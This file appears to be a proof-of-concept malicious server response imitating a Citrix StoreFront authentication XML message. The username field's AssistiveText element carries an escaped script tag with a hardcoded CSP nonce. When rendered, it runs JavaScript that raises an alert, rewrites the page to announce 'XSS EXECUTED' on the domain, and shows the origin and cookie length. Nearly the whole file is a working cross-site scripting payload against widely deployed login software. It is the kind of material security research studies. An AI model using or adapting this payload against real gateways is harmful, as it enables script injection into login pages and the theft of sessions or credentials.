<?xml version="1.0" encoding="utf-8"?>
<AuthenticateResponse xmlns="http://citrix.com/authentication/response/1">
  <Status>success</Status><Result>more-info</Result><StateContext>ctx1</StateContext>
  <AuthenticationRequirements>
    <PostBack>/Citrix/StoreWeb/ExplicitAuth/LoginAttempt</PostBack>
    <CancelPostBack>/Citrix/StoreWeb/ExplicitAuth/LoginCancel</CancelPostBack>
    <CancelButtonText>Cancel</CancelButtonText>
    <Requirements><Requirement>
      <Credential><ID>username</ID><SaveID>ExplicitForms-Username</SaveID><Type>username</Type></Credential>
      <Label><Type>plain</Type><Text>User name</Text></Label>
      <Input><AssistiveText>&lt;script nonce=&quot;Z2xvYmFscy0xNzg1MTU2Nzc0MDE3&quot;&gt;alert("XSS "+document.domain);document.body.innerHTML='&lt;h1 style=&quot;color:#b00;font:700 30px sans-serif&quot;&gt;XSS EXECUTED ON '+document.domain+'&lt;/h1&gt;&lt;p style=&quot;font:17px sans-serif&quot;&gt;origin: '+location.origin+'&lt;/p&gt;&lt;p style=&quot;font:17px sans-serif&quot;&gt;cookie chars: '+document.cookie.length+'&lt;/p&gt;';&lt;/script&gt;</AssistiveText><Text><Secret>false</Secret></Text></Input>
    </Requirement></Requirements>
  </AuthenticationRequirements>
</AuthenticateResponse>